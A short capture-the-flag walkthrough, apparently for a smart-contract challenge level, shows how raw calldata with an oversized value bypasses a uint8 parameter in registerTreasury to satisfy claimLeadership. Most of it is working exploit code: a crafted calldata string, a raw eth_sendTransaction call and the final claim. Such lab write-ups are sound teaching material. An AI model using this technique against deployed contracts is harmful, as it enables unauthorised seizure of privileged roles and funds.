00Overview
`registerTreasury(uint8)` stores its argument using `calldataload(4)` directly into storage, ignoring the `uint8` type constraint. Sending a value greater than 255 in the calldata sets `treasury` to an arbitrarily large number, satisfying the `commander` condition in `claimLeadership()`.
01Craft calldata with an oversized uint8
javascript
const calldata = '0x'
+ '211c85ab' // registerTreasury(uint8) selector
+ 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' // value >> 25502Send raw transaction
javascript
await ethereum.request({
method: 'eth_sendTransaction',
params: [{ from: player, to: instance, data: calldata }]
})03Claim leadership
javascript
await contract.claimLeadership()04Level Completed
